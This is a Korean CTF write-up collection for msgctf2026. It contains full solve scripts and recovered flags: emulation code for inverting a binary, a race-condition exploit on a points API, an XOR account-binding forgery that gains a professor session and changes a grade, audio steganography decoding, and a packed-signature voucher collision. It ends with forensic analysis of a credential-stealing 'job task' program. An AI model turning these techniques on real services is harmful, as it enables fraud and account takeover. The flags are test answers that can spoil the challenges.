    UC_X86_REG_RAX, UC_X86_REG_RCX, UC_X86_REG_RDX, UC_X86_REG_R8,
    UC_X86_REG_RIP, UC_X86_REG_RSP,
    UC_X86_REG_RBX, UC_X86_REG_RBP, UC_X86_REG_RDI,
    UC_X86_REG_R9, UC_X86_REG_R10, UC_X86_REG_R11, UC_X86_REG_R12,
    UC_X86_REG_R13, UC_X86_REG_R14, UC_X86_REG_R15,
)

from emulate_target import (
    HERE, IMAGE_BASE, INPUT, OUTPUT, RUNTIME_ALLOC, RUNTIME_FREE,
    RUNTIME_NOOP, SCRATCH, SENTINEL, STACK, STACK_SIZE,
)
from emulate_witness import transform

FUNC_RVA = 0x7AC0
RUNTIME_MEMCPY = IMAGE_BASE + 0x32B35

def descriptors():
    _, stores = transform(bytes(64), trace=True)
    pe = pefile.PE(str(HERE / "original" / "cashout-terminal.exe"))
    cs = Cs(CS_ARCH_X86, CS_MODE_64)
    cs.detail = True
    result = []
    for rva, word, _ in stores:
        insn = next(cs.disasm(pe.get_data(rva, 15), IMAGE_BASE + rva))
        operand = insn.operands[1] if len(insn.operands) > 1 else None
        source_reg = None
        if operand is not None and operand.type == X86_OP_REG:
            name = insn.reg_name(operand.reg).upper()
            source_reg = getattr(uregs, "UC_X86_REG_" + name)
        result.append((rva, word, insn.mnemonic, source_reg, insn.op_str))
    return result

def run(initial: bytes, *, target_step: int | None = None, store_descriptors=None, patch_mode="reg"):
    if len(initial) != 64:
        raise ValueError("64-byte state required")
    pe = pefile.PE(str(HERE / "original" / "cashout-terminal.exe"))
    image = pe.get_memory_mapped_image()
    uc = Uc(UC_ARCH_X86, UC_MODE_64)
    uc.mem_map(IMAGE_BASE, (len(image) + 0xFFF) & ~0xFFF)
    uc.mem_write(IMAGE_BASE, image)
    for address in (SENTINEL, INPUT, OUTPUT, SCRATCH):
        uc.mem_map(address, 0x1000)
    uc.mem_map(STACK, STACK_SIZE)
    uc.mem_write(INPUT, initial)
    rsp = STACK + STACK_SIZE - 0x1008
    uc.mem_write(rsp, SENTINEL.to_bytes(8, "little"))
    uc.reg_write(UC_X86_REG_RCX, OUTPUT)
    uc.reg_write(UC_X86_REG_RDX, INPUT)
    uc.reg_write(UC_X86_REG_R8, 64)
    uc.reg_write(UC_X86_REG_RSP, rsp)
    events = []
    state = {"done": False, "step": 0, "projected": None}
    patch = {IMAGE_BASE+rva: (word, op, reg) for rva, word, op, reg, _ in (store_descriptors or [])}
    general_regs = (
        UC_X86_REG_RAX, UC_X86_REG_RBX, UC_X86_REG_RCX, UC_X86_REG_RDX,
        UC_X86_REG_RBP, UC_X86_REG_RDI, UC_X86_REG_R8, UC_X86_REG_R9,
        UC_X86_REG_R10, UC_X86_REG_R11, UC_X86_REG_R12, UC_X86_REG_R13,
        UC_X86_REG_R14, UC_X86_REG_R15,
    )

    def on_code(emu, address, size, _):
        if address == SENTINEL:
            state["done"] = True
            emu.emu_stop()
        elif address in (RUNTIME_NOOP, RUNTIME_ALLOC, RUNTIME_FREE, RUNTIME_MEMCPY):
            if address == RUNTIME_ALLOC:
                emu.reg_write(UC_X86_REG_RAX, SCRATCH)
            elif address == RUNTIME_MEMCPY:
                dest = emu.reg_read(UC_X86_REG_RCX)
                src = emu.reg_read(UC_X86_REG_RDX)
                length = emu.reg_read(UC_X86_REG_R8)
                emu.mem_write(dest, bytes(emu.mem_read(src, length)))
                emu.reg_write(UC_X86_REG_RAX, dest)
            ret = int.from_bytes(emu.mem_read(emu.reg_read(UC_X86_REG_RSP), 8), "little")
            emu.reg_write(UC_X86_REG_RSP, emu.reg_read(UC_X86_REG_RSP)+8)
            emu.reg_write(UC_X86_REG_RIP, ret)
        elif target_step is not None and state["step"] < target_step and address in patch:
            if patch_mode == "skip":
                state["step"] += 1
                emu.reg_write(UC_X86_REG_RIP, address + size)
                return
            word, op, reg = patch[address]
            if reg is None:
                raise RuntimeError(f"no source register at {address:#x}")
            desired = int.from_bytes(initial[4*word:4*word+4], "little")
            if op == "mov":
                computed = emu.reg_read(reg) & 0xFFFFFFFF
                frame = emu.reg_read(UC_X86_REG_RSP)
```

```
                for offset in range(0, 0xE8, 4):
                    slot = frame + offset
                    if int.from_bytes(emu.mem_read(slot,4),"little") == computed:
                        emu.mem_write(slot,desired.to_bytes(4,"little"))
                for alias in general_regs:
                    value = emu.reg_read(alias)
                    low = value & 0xFFFFFFFF
                    high = value >> 32
                    if low == computed:
                        value = (value & 0xFFFFFFFF00000000) | desired
                    if high == computed:
                        value = (value & 0xFFFFFFFF) | (desired << 32)
                    emu.reg_write(alias,value)
                emu.reg_write(reg, desired)
            elif op in ("add", "sub", "xor"):
                emu.reg_write(reg, 0)
            else:
                raise RuntimeError(f"unsupported store {op} at {address:#x}")

    def on_write(emu, access, address, size, value, _):
        if OUTPUT <= address < OUTPUT+64 and size == 4 and emu.reg_read(UC_X86_REG_RIP) >= IMAGE_BASE+0x7BB1:
            rva = emu.reg_read(UC_X86_REG_RIP)-IMAGE_BASE
            word = (address-OUTPUT)//4
            before = bytes(emu.mem_read(OUTPUT,64))
            events.append((rva,word,value&0xFFFFFFFF,before))
            if target_step is not None and state["step"] == target_step:
                state["projected"] = value & 0xFFFFFFFF
                state["done"] = True
                emu.emu_stop()
            state["step"] += 1

    uc.hook_add(UC_HOOK_CODE, on_code)
    uc.hook_add(UC_HOOK_MEM_WRITE, on_write)
    uc.emu_start(IMAGE_BASE+FUNC_RVA, SENTINEL+1, count=1000000)
    if not state["done"]:
        raise RuntimeError(f"no stop: {state}")
    return (bytes(uc.mem_read(OUTPUT,64)), events, state["projected"])

def main():
    desc = descriptors()
    print("stores:", len(desc), "operations:", Counter((op, reg is not None) for _,_,op,reg,_ in desc))
    print("unpatchable:", [(hex(rva),word,op,form) for rva,word,op,reg,form in desc if reg is None][:10])
    witness = bytes(range(64))
    result, true_events, _ = run(witness)
    print("forward result:", result.hex())
    sample = list(range(0,45))
    for mode in ("reg", "skip"):
        mismatches = []
        for step in sample:
            rva,word,actual,prestate = true_events[step]
            _,_,projected = run(prestate,target_step=step,store_descriptors=desc,patch_mode=mode)
            if actual != projected:
                mismatches.append((step,hex(rva),word,f"{actual:08x}",f"{projected:08x}"))
        print(mode, "sampled:", len(sample), "mismatches:", mismatches)

if __name__ == "__main__":
    main()
```

project_with_aliases.py

코드 블록 (python)

```
"""Test single-store Unicorn projection with stable state-word register aliases."""

import json
import random
import sys
import time
from pathlib import Path

HERE=Path(__file__).resolve().parent
sys.path.insert(0,str(HERE/".deps"))

from unicorn import UC_HOOK_MEM_WRITE
from unicorn.x86_const import UC_X86_REG_RIP,UC_X86_REG_RSP,UC_X86_REG_EFLAGS
import unicorn.x86_const as ux

import invert_witness
from emulate_target import IMAGE_BASE,OUTPUT

ALIASES=json.loads((HERE/"alternative_alias_candidates.json").read_text(encoding="utf-8"))
XOR_ALIASES=json.loads((HERE/"xor_alias_candidates.json").read_text(encoding="utf-8"))
AFFINE_ALIASES=json.loads((HERE/"affine_alias_candidates.json").read_text(encoding="utf-8"))
REGS={name:getattr(ux,"UC_X86_REG_"+name.upper()) for name in
      ("rax","rbx","rcx","rdx","rbp","rdi","r8","r9","r10","r11","r12","r13","r14","r15")}

def project(prestate,step,descriptors):
    by_rva={rva:j for j,(rva,*_) in enumerate(descriptors)}
    real_uc=invert_witness.Uc

    def factory(*args,**kwargs):
        emu=real_uc(*args,**kwargs)

        def on_write(uc,access,address,size,value,_):
            if not (OUTPUT<=address<OUTPUT+64 and size==4):
                return
            rva=uc.reg_read(UC_X86_REG_RIP)-IMAGE_BASE
            j=by_rva.get(rva)
```

```
            if j is None or j>=step:
                return
            rsp=uc.reg_read(UC_X86_REG_RSP)
            combined=[(where,word,0) for where,word in ALIASES[j].items()]
            combined.extend((where,word,constant) for where,(word,constant) in XOR_ALIASES[j].items())
            for where,(word,kind,rotate,constant) in AFFINE_ALIASES[j].items():
                assert kind=="add" and rotate==0
                combined.append((where,word,("add",constant)))
            for where,word,operation in combined:
                base=int.from_bytes(prestate[4*word:4*word+4],"little")
                desired=(base+operation[1])&0xFFFFFFFF if isinstance(operation,tuple) else base^operation
                if where.startswith("stack."):
                    offset=int(where[6:],16)
                    uc.mem_write(rsp+offset,desired.to_bytes(4,"little"))
                else:
                    name,half=where.split(".")
                    reg=REGS[name]
                    old=uc.reg_read(reg)
                    if half=="lo":
                        new=(old&0xFFFFFFFF00000000)|desired
                    else:
                        new=(old&0xFFFFFFFF)|(desired<<32)
                    uc.reg_write(reg,new)
            if j==176:
                word5=int.from_bytes(prestate[20:24],"little")
                remainder=((word5^0x9EB63128)%15)
                uc.reg_write(REGS["rbx"],remainder)
                uc.reg_write(REGS["r15"],int(remainder!=0))
            if j==114:
                word9=int.from_bytes(prestate[36:40],"little")
                selector=(word9^0xB556E5B0^0x99F1DFA5)%15
                uc.reg_write(REGS["rcx"],selector)
            if j==88:
                word13=int.from_bytes(prestate[52:56],"little")
                selector=(word13^0x19263CA9)%15
                uc.reg_write(REGS["rax"],selector)
                uc.reg_write(REGS["rdi"],int(selector>=6))
            if j==51:
                word1=int.from_bytes(prestate[4:8],"little")
                uc.reg_write(REGS["r10"],(word1^0xEE38969B)%15)
            if j==146:
                word9=int.from_bytes(prestate[36:40],"little")
                selector=(word9^0xD4E5462E)%15
                uc.reg_write(REGS["r11"],selector)
                flags=uc.reg_read(UC_X86_REG_EFLAGS)
                uc.reg_write(UC_X86_REG_EFLAGS,(flags|(1<<6)) if selector==0 else (flags&~(1<<6)))
        emu.hook_add(UC_HOOK_MEM_WRITE,on_write)
        return emu

    invert_witness.Uc=factory
    try:
        return invert_witness.run(prestate,target_step=step,store_descriptors=descriptors)[2]
    finally:
        invert_witness.Uc=real_uc

def main():
    desc=invert_witness.descriptors()
    rng=random.Random(5371)
    for sample in range(2):
        witness=rng.randbytes(64)
        _,true_events,_=invert_witness.run(witness)
        steps=[0,1,2,3,6,7,12,13,20,26,44,100,162,180,181,200,500,625,636]
        t0=time.monotonic()
        for j in steps:
            rva,word,actual,prestate=true_events[j]
            got=project(prestate,j,desc)
            print(sample,j,hex(rva),"match",got==actual,
                  "actual",f"{actual:08x}","got",f"{got:08x}",flush=True)
        print("seconds",round(time.monotonic()-t0,3),flush=True)

if __name__=="__main__":main()
```

trace_aliases.py

코드 블록 (python)

```
"""Trace register/stack aliases of each 32-bit terminal state output."""

import random
import sys
from pathlib import Path

HERE=Path(__file__).resolve().parent
sys.path.insert(0,str(HERE/".deps"))

from unicorn import UC_HOOK_MEM_WRITE
from unicorn.x86_const import (
    UC_X86_REG_RIP,UC_X86_REG_RSP,
    UC_X86_REG_RAX,UC_X86_REG_RBX,UC_X86_REG_RCX,UC_X86_REG_RDX,
    UC_X86_REG_RBP,UC_X86_REG_RDI,UC_X86_REG_R8,UC_X86_REG_R9,
    UC_X86_REG_R10,UC_X86_REG_R11,UC_X86_REG_R12,UC_X86_REG_R13,
    UC_X86_REG_R14,UC_X86_REG_R15,
)
import invert_witness
from emulate_target import IMAGE_BASE,OUTPUT

REGS={
    "rax":UC_X86_REG_RAX,"rbx":UC_X86_REG_RBX,"rcx":UC_X86_REG_RCX,"rdx":UC_X86_REG_RDX,
    "rbp":UC_X86_REG_RBP,"rdi":UC_X86_REG_RDI,"r8":UC_X86_REG_R8,"r9":UC_X86_REG_R9,
```

```
    "r10":UC_X86_REG_R10,"r11":UC_X86_REG_R11,"r12":UC_X86_REG_R12,"r13":UC_X86_REG_R13,
    "r14":UC_X86_REG_R14,"r15":UC_X86_REG_R15,
}

def capture(witness):
    aliases=[]
    real_uc=invert_witness.Uc

    def factory(*args,**kwargs):
        emu=real_uc(*args,**kwargs)
        def on_write(uc,access,address,size,value,_):
            rva=uc.reg_read(UC_X86_REG_RIP)-IMAGE_BASE
            if not (OUTPUT<=address<OUTPUT+64 and size==4 and rva>=0x7BB1):
                return
            word=value&0xFFFFFFFF
            matches=set()
            for name,reg in REGS.items():
                raw=uc.reg_read(reg)
                if raw&0xFFFFFFFF==word:
                    matches.add(("reg",name,"low"))
                if raw>>32==word:
                    matches.add(("reg",name,"high"))
            rsp=uc.reg_read(UC_X86_REG_RSP)
            for offset in range(0,0xE8,4):
                if int.from_bytes(uc.mem_read(rsp+offset,4),"little")==word:
                    matches.add(("stack",offset))
            aliases.append((rva,(address-OUTPUT)//4,matches))
        emu.hook_add(UC_HOOK_MEM_WRITE,on_write)
        return emu

    invert_witness.Uc=factory
    try:
        invert_witness.run(witness)
    finally:
        invert_witness.Uc=real_uc
    return aliases

def discover(seed=1627,samples=3):
    rng=random.Random(seed)
    traces=[capture(rng.randbytes(64)) for _ in range(samples)]
    assert all(len(t)==637 for t in traces)
    result=[]
    for j in range(637):
        rva,word,first=traces[0][j]
        assert all(t[j][:2]==(rva,word) for t in traces)
        common=set(first)
        for trace in traces[1:]:
            common.intersection_update(trace[j][2])
        result.append((rva,word,common))
    return result

def main():
    aliases=discover()
    print("stores",len(aliases),"total aliases",sum(len(x[2]) for x in aliases))
    for j in (0,1,2,7,26,162,180,181,500,636):
        rva,word,items=aliases[j]
        print(j,hex(rva),word,sorted(items,key=str))

if __name__=="__main__":
    main()
```

재현 결과

정산 API가 HTTP 200, credited: 1660000을 반환했다. 출금 응답의 flag 필드에서 다음 값을 확인했다.

코드 블록 (text)

```
msgctf2026{C4SH_1s_N0oo0T_R34L_c4Sh}
```

16. Daily Point

분야	Web
상태	완료

풀이 과정

풀이 과정

출석으로 받는 100P를 보관 신청하면 사용 가능 포인트가 차감된다. 같은 신청에 취소와 확정을 동시에 보내자 둘 다 성공해 100P 환급과 보관함 100P 적립이 함께 일어났다. 보관함 포인트를 출금하는 과정을 반복해 상품 가격인 1000P를 만든 뒤 플래그를 구매했다.

익스플로잇 코드 / 분석 코드 전체

실행에 사용한 코드와 명령은 다음과 같다.

코드 블록 (text)

```
pip install requests
python solve.py
```

코드 블록 (python)

```
"""Daily Point: race cancel and confirm for one pending deposit.

Run only against the dedicated challenge instance below.
"""

from concurrent.futures import ThreadPoolExecutor
from threading import Barrier
from uuid import uuid4

import requests

BASE = "https://d575927c1ad3e1b9dfccfc64ec60dc1f.gate.msgctf.kr"
session = requests.Session()

def api(method, path, **kwargs):
    response = session.request(method, BASE + path, timeout=8, **kwargs)
    return response.status_code, response.json()

def required(method, path, **kwargs):
    status, body = api(method, path, **kwargs)
    if status != 200 or body.get("code") != "SUCCESS":
        raise RuntimeError(f"{method} {path}: {status} {body}")
    return body["data"]

def current():
    return required("GET", "/api/v1/status")

def race(deposit_id):
    barrier = Barrier(2)
    cookies = session.cookies.get_dict()

    def act(action):
        barrier.wait()
        response = requests.post(
            BASE + f"/api/v1/deposits/{deposit_id}/{action}",
            cookies=cookies,
            timeout=8,
        )
        return response.status_code, response.json()

    with ThreadPoolExecutor(max_workers=2) as pool:
        cancel = pool.submit(act, "cancel")
        confirm = pool.submit(act, "confirm")
        return cancel.result(), confirm.result()

def main():
    required("POST", "/api/v1/sessions", json={"nickname": "solve-" + uuid4().hex[:8]})
    required("POST", "/api/v1/attendances")

    for attempt in range(1, 41):
        before = current()
        if before["points"] >= 1000:
            break

        deposit = required("POST", "/api/v1/deposits")
        cancel, confirm = race(deposit["deposit_id"])
        after = current()
        if after["vault_points"] >= 100:
            required("POST", "/api/v1/vault-withdrawals")
            after = current()

        print(
            f"{attempt}: cancel={cancel[0]}/{cancel[1]['code']} "
            f"confirm={confirm[0]}/{confirm[1]['code']} "
```

```
            f"points={after['points']} vault={after['vault_points']}"
        )
    if current()["points"] < 1000:
        raise RuntimeError("40 attempts did not reach 1000 points")
    purchase = required("POST", "/api/v1/flag-purchases")
    print(purchase["flag"])

if __name__ == "__main__":
    main()
```

재현 결과

취소·확정이 동시에 성공한 주기마다 총 포인트가 100P 늘었다. 1000P로 구매한 API 응답에서 다음 플래그를 확인했다.

코드 블록 (text)

```
msgctf2026{d4ed96269c66a84cac93a3b73fb6653a3201d76b17e45235}
```

17. Grade Tampering

분야	Web
상태	완료

풀이 과정

풀이 과정

로그인 첫 단계의 account_binding은 base64url JSON이었다. 학생 바인딩의 record와 공개 학생 record_locator 사이의 XOR 마스크를 구했다. 공개된 교수 record_locator에 같은 마스크를 적용해 바인딩의 record만 교수 값으로 변경했다. 학생 비밀번호를 사용했지만 서버는 교수 세션을 발급했다. 해당 세션으로 제공 학생의 성적을 A+로 수정했다.

익스플로잇 코드 / 분석 코드 전체

실행에 사용한 코드와 명령은 다음과 같다.

코드 블록 (text)

```
pip install requests
$env:GRADE_TAMPERING_PASSWORD = '<문제에서 제공된 비밀번호>'
python solve.py
```

코드 블록 (python)

```
"""Reproduce the Grade Tampering solve against the challenge instance.

Set GRADE_TAMPERING_PASSWORD to the password supplied in the challenge.
This script changes the provided student's CSE101 grade to A+.
"""

import base64
import json
import os
import re

import requests

BASE = "https://c8da3122742a7dbcb9dfe287c91c3a8d.gate.msgctf.kr"
STUDENT_ID = "20260777"
TIMEOUT = 10

def get_json(session, path):
    response = session.get(BASE + path, timeout=TIMEOUT)
    response.raise_for_status()
    return response.json()

def csrf_token(page):
    match = re.search(r'<meta name="csrf-token" content="([^"]+)"', page)
    if not match:
        raise ValueError("CSRF token not found")
    return match.group(1)

def lookup(session):
    page = session.get(BASE + "/login", timeout=TIMEOUT)
    page.raise_for_status()
    response = session.post(
        BASE + "/api/auth/lookup",
        json={"login_id": STUDENT_ID},
        headers={"X-CSRF-Token": csrf_token(page.text)},
        timeout=TIMEOUT,
    )
    response.raise_for_status()
    return response.json()

def login(session, challenge_password, lookup_data, binding=None):
    response = session.post(
        BASE + "/api/auth/login",
        json={
            "transaction": lookup_data["transaction"],
            "account_binding": binding or lookup_data["account_binding"],
            "password": challenge_password,
        },
        timeout=TIMEOUT,
    )
    response.raise_for_status()
    if not response.json().get("success"):
        raise ValueError("Login did not succeed")

def decode_binding(value):
    return json.loads(base64.urlsafe_b64decode(value + "=" * (-len(value) % 4)))

def encode_binding(value):
    raw = json.dumps(value, separators=(",", ":")).encode()
    return base64.urlsafe_b64encode(raw).decode().rstrip("=")

def main():
```

```
    challenge_password = os.environ["GRADE_TAMPERING_PASSWORD"]

    student = requests.Session()
    student_lookup = lookup(student)
    login(student, challenge_password, student_lookup)
    student_locator = get_json(student, "/api/account/directory-card")["record_locator"]

    notice = get_json(student, "/api/notices/1")
    profile_path = notice["author"]["profile_url"]
    if not profile_path.startswith("/api/directory/staff/"):
        raise ValueError("Unexpected staff profile path")
    profile = get_json(student, profile_path)
    sync_path = profile["sync_status_url"]
    if not sync_path.startswith("/api/directory/sync/"):
        raise ValueError("Unexpected sync path")
    staff_locator = get_json(student, sync_path)["record_locator"]

    staff = requests.Session()
    staff_lookup = lookup(staff)
    binding = decode_binding(staff_lookup["account_binding"])
    if binding.get("codec") != "xor":
        raise ValueError("Unexpected binding codec")
    xor_mask = binding["record"] ^ student_locator
    binding["record"] = staff_locator ^ xor_mask
    login(staff, challenge_password, staff_lookup, encode_binding(binding))

    roster = staff.get(BASE + "/courses/1/roster", timeout=TIMEOUT)
    roster.raise_for_status()
    rows = re.finditer(r'<tr data-enrollment-id="(₩d+)">.*?</tr>', roster.text, re.S)
    enrollment_id = next(
        (match.group(1) for match in rows if f"<td>{STUDENT_ID}</td>" in match.group(0)),
        None,
    )
    if enrollment_id is None:
        raise ValueError("Provided student not found in CSE101 roster")
    response = staff.patch(
        BASE + f"/api/enrollments/{enrollment_id}",
        json={"grade": "A+"},
        headers={"X-CSRF-Token": csrf_token(roster.text)},
        timeout=TIMEOUT,
    )
    response.raise_for_status()
    result = response.json()
    if not result.get("flag"):
        raise ValueError(f"Grade changed but flag was absent: {result}")
    print(result["flag"])

if __name__ == "__main__":
    main()
```

재현 결과

성적 저장 응답에 플래그가 직접 포함됐다.

코드 블록 (text)

```
{"flag":"msgctf2026{Y0u_G0t_A_P1u5_1n_D4t4_5tructur35_xD}","message":"성적이 저장되었습니다.","success":true}
```

18. 숨은 지령

분야	MISC
상태	완료

풀이 과정

풀이 과정

두 WAV의 앞부분 톤에서 숫자열 6443121285042680을 읽었다. BRAVO의 샘플 위치 j = 7000 + 1.001i를 ALPHA의 위치 i에 맞춰 시간차와 속도 차이를 보정했다. 두 파형을 빼자 ALPHA에만 있는 FSK 신호가 남았다. 40ms 슬롯 8개를 1바이트로 읽어 암호문을 얻고, 숫자열의 SHA-256과 XOR했다.

익스플로잇 코드 / 분석 코드 전체

실행에 사용한 코드와 명령은 다음과 같다.

코드 블록 (text)

```
pip install numpy scipy
python solve.py
```

코드 블록 (python)

```
"""Recover the hidden-order flag from the two supplied WAV recordings."""

from pathlib import Path
import hashlib
import wave

import numpy as np
from scipy.ndimage import map_coordinates

HERE = Path(__file__).resolve().parent
RATE = 16000
FIRST_BIT = 6.0
BIT_SECONDS = 0.04
NBYTES = 31

def read_pcm(name):
    with wave.open(str(HERE / "original" / name), "rb") as wav:
        assert wav.getnchannels() == 1
        assert wav.getsampwidth() == 2
        assert wav.getframerate() == RATE
        return np.frombuffer(wav.readframes(wav.getnframes()), dtype="<i2").astype(float)

alpha = read_pcm("post_alpha.wav")
bravo = read_pcm("post_bravo.wav")

# The same noise is delayed by 7000 samples and stretched by 0.1% in BRAVO.
alpha_indices = np.arange(len(alpha), dtype=float)
bravo_positions = 7000 + 1.001 * alpha_indices
warped_bravo = map_coordinates(bravo, [bravo_positions], order=5,
                               mode="constant", cval=0)
residual = alpha - warped_bravo

# Each of 31 characters is sent as eight 40-ms FSK bits. The two carrier
# frequencies vary by byte; within a byte the lower frequency represents 0.
frequencies = []
for bit_index in range(NBYTES * 8):
    center = FIRST_BIT + (bit_index + 0.5) * BIT_SECONDS
    half_window = 0.014
    segment = residual[int((center - half_window) * RATE):
                       int((center + half_window) * RATE)]
    spectrum = abs(np.fft.rfft(segment * np.hanning(len(segment)), n=8192))
    hz = np.fft.rfftfreq(8192, 1 / RATE)
    band = (hz >= 600) & (hz <= 2300)
    frequencies.append(float(hz[band][np.argmax(spectrum[band])]))

cipher = bytearray()
for byte_index in range(NBYTES):
    symbol = frequencies[byte_index * 8:(byte_index + 1) * 8]
    midpoint = (min(symbol) + max(symbol)) / 2
    value = 0
    for frequency in symbol:
        value = (value << 1) | int(frequency > midpoint)
    cipher.append(value)

number_station = "6443121285042680"
key = hashlib.sha256(number_station.encode("ascii")).digest()
flag = bytes(c ^ k for c, k in zip(cipher, key))
print("number station:", number_station)
print("ciphertext:", cipher.hex())
print("SHA-256 key:", key.hex())
print("flag:", flag.decode("ascii"))
```

재현 결과

코드 블록 (text)

```
msgctf2026{tw0_t4pes_0ne_0rd3r}
```

19. INFINITE PACK: HOTFIX

분야	Blockchain
상태	완료

풀이 과정

풀이 과정

바우처 서명은 연속된 가변 길이 bytes 필드인 packCodes와 memo를 abi.encodePacked로 결합했다. 따라서 두 필드의 경계를 옮겨도 결합 바이트와 서명 해시는 같다. 공개 QA 바우처의 1바이트 packCodes와 4바이트 memo를 5바이트 packCodes로 합치고 memo를 비워 제출했다. 서버는 이를 팩 5개로 처리했다.

익스플로잇 코드 / 분석 코드 전체

실행에 사용한 코드와 명령은 다음과 같다.

코드 블록 (text)

```
python solve.py
```

코드 블록 (python)

```
#!/usr/bin/env python3
"""Solve Infinite Pack: Hotfix through the supplied TLS menu."""

import re
import socket
import ssl

HOST = "a48d943c8c5f861f5b870ba509f9a2e1.gate.msgctf.kr"
PORT = 443
SELECTOR = bytes.fromhex("f299c557")

def rlp_item(raw: bytes, start: int = 0):
    """Decode one RLP item and return (value, next offset)."""
    prefix = raw[start]
    if prefix <= 0x7F:
        return raw[start : start + 1], start + 1
    if prefix <= 0xB7:
        end = start + 1 + prefix - 0x80
        return raw[start + 1 : end], end
    if prefix <= 0xBF:
        width = prefix - 0xB7
        length = int.from_bytes(raw[start + 1 : start + 1 + width], "big")
        begin = start + 1 + width
        return raw[begin : begin + length], begin + length
    if prefix <= 0xF7:
        end = start + 1 + prefix - 0xC0
        pos = start + 1
    else:
        width = prefix - 0xF7
        length = int.from_bytes(raw[start + 1 : start + 1 + width], "big")
        pos = start + 1 + width
        end = pos + length
    items = []
    while pos < end:
        item, pos = rlp_item(raw, pos)
        items.append(item)
    if pos != end:
        raise ValueError("Malformed RLP list")
    return items, end

def decode_qa(raw_hex: str):
    tx = bytes.fromhex(raw_hex.removeprefix("0x"))
    if tx[0] != 2:
        raise ValueError("Expected EIP-1559 type-2 transaction")
    fields, end = rlp_item(tx, 1)
    if end != len(tx) or not isinstance(fields, list) or len(fields) != 12:
        raise ValueError("Unexpected transaction envelope")
    data = fields[7]
    if data[:4] != SELECTOR:
        raise ValueError("Unexpected claimPack selector")
    args = data[4:]

    def word(pos):
        value = args[pos : pos + 32]
        if len(value) != 32:
            raise ValueError("Truncated ABI word")
        return int.from_bytes(value, "big")

    def dynamic(pos):
        length = word(pos)
        value = args[pos + 32 : pos + 32 + length]
        if len(value) != length:
            raise ValueError("Truncated ABI bytes")
        return value
```

```
    voucher = word(0)
    signature = word(32)
    recipient = "0x" + args[voucher + 12 : voucher + 32].hex()
    pack_codes = dynamic(voucher + word(voucher + 32))
    memo = dynamic(voucher + word(voucher + 64))
    nonce = word(voucher + 96)
    sig = dynamic(signature)
    if len(sig) != 65 or len(pack_codes) != 1 or len(pack_codes + memo) < 5:
        raise ValueError("Unexpected QA voucher shape")
    return recipient, pack_codes, memo, nonce, sig

def read_prompt(sock):
    data = bytearray()
    while len(data) < 65536 and not data.endswith(b"> "):
        block = sock.recv(4096)
        if not block:
            raise ConnectionError("Connection closed before prompt")
        data.extend(block)
    if not data.endswith(b"> "):
        raise ValueError("Prompt missing or output too large")
    return data.decode("utf-8", "replace")

def send(sock, value):
    sock.sendall((str(value) + "₩n").encode())
    return read_prompt(sock)

def main():
    context = ssl.create_default_context()
    with socket.create_connection((HOST, PORT), timeout=8) as tcp:
        with context.wrap_socket(tcp, server_hostname=HOST) as sock:
            sock.settimeout(8)
            read_prompt(sock)
            qa = send(sock, "2")
            match = re.search(r"Raw transaction₩s*:₩s*(0x[0-9a-fA-F]+)", qa)
            if not match:
                raise ValueError("Public QA transaction missing")
            recipient, codes, memo, nonce, sig = decode_qa(match.group(1))
            forged_codes = codes + memo
            print("QA recipient:", recipient)
            print("Signed bytes:", (codes + memo).hex())
            print("Forged pack codes:", forged_codes.hex())
            buy = send(sock, "3")
            buy_summary = re.search(r"₩[TX SUCCESS₩][^₩r₩n]*", buy)
            print("BUY:", buy_summary.group(0) if buy_summary else buy.strip())
            if "[TX SUCCESS]" not in buy:
                raise RuntimeError("Purchase failed")
            prompt = send(sock, "4")
            if "Signed recipient> " not in prompt:
                raise RuntimeError("Claim prompt missing")
            values = (
                recipient,
                "0x" + forged_codes.hex(),
                "0x",  # Empty memo preserves the original packed bytes.
                nonce,
                "0x" + sig.hex(),
            )
            for value in values:
                claim = send(sock, value)
            print("CLAIM:", claim)
            if "[TX SUCCESS]" not in claim:
                raise RuntimeError("Voucher claim failed")
            status = send(sock, "5")
            print("STATUS:", status)
            if "Paid orders       : 1 / exactly 1" not in status:
                raise RuntimeError("Wrong paid-order count")
            match = re.search(r"Premium packs₩s*:₩s*(₩d+)", status)
            if not match or int(match.group(1)) < 5:
                raise RuntimeError("Insufficient premium packs")
            flag = send(sock, "6")
            print("FLAG RESPONSE:", flag)

if __name__ == "__main__":
    main()
```

재현 결과

코드 블록 (text)

```
[TX SUCCESS] Delivery voucher submitted.
Premium packs: 5
Paid orders       : 1 / exactly 1
Premium packs     : 5 / at least 5
QA nonce used here: yes
Solved! msgctf2026{a9Kx2Qm7Vn4Rz8Lp3Tj6Wc1Ys5Hd0Fg8Bn2Mk7Px4Zv9Rt6Qw3Ls1Nc8J}
```

20. Is This Job Legit?

분야	Forensics
상태	완료

풀이 과정

풀이 과정

채용 과제 프로그램이 사용자 프로필의 AWS·Kubernetes·SSH 설정 등을 snapshot에 넣고 gzip으로 압축해 동기화하는 것을 확인했다. 디스크 이미지에서 Slack 게시물 ID, 저장소 커밋, snapshot 내용, 임시 파일의 MFT 정보를 각각 복원했다. 재구성한 gzip의 SHA-256이 서버 승인 기록과 일치해 내용의 정확성을 확인한 뒤 문제의 플래그 수식에 네 값을 넣었다.

익스플로잇 코드 / 분석 코드 전체

디스크 이미지에서 snapshot과 NTFS 메타데이터를 확인한 코드, 최종 플래그 계산식을 모두 본문에 포함한다. 원본 EWF의 개인 파일 내용은 출력하거나 보존하지 않는다.

코드 블록 (text)

```
python reconstruct_snapshot.py --evidence-dir <문제_증거_폴더>
```

reconstruct_snapshot.py

코드 블록 (python)

```
"""원본 EWF에서 승인된 gzip snapshot을 메모리 안에서 재구성한다.

사용 예:
    python reconstruct_snapshot.py
    python reconstruct_snapshot.py --search-timestamp

프로필 파일의 원문과 snapshot JSON은 디스크에 저장하거나 출력하지 않는다.
"""

from __future__ import annotations

import argparse
import base64
import gzip
import hashlib
import io
import json
import subprocess
from pathlib import Path

PARTITION_OFFSET = "239616"
EXPECTED_PROFILE_DIGEST = (
    "eb8087cdf2aafefe4edd5fa49a7b6cc0641e47127d10af185c94338377c83662"
)
KNOWN_GENERATED_AT = "2026-09-06T14:37:08.644010Z"
PROFILE_FILES = (
    ("aws_credentials", r".aws¥credentials", 133349),
    ("kube_config", r".kube¥config", 133350),
    ("ssh_config", r".ssh¥config", 133351),
    ("ssh_id_ed25519", r".ssh¥id_ed25519", 133352),
    ("project_notes", r"Documents¥project_notes.txt", 133353),
)

def extract_inode(evidence_dir: Path, inode: int) -> bytes:
    command = [
        "docker",
        "run",
        "--rm",
        "--network",
        "none",
        "--read-only",
        "--cpus",
        "2",
        "--memory",
        "1g",
        "--pids-limit",
        "64",
        "--mount",
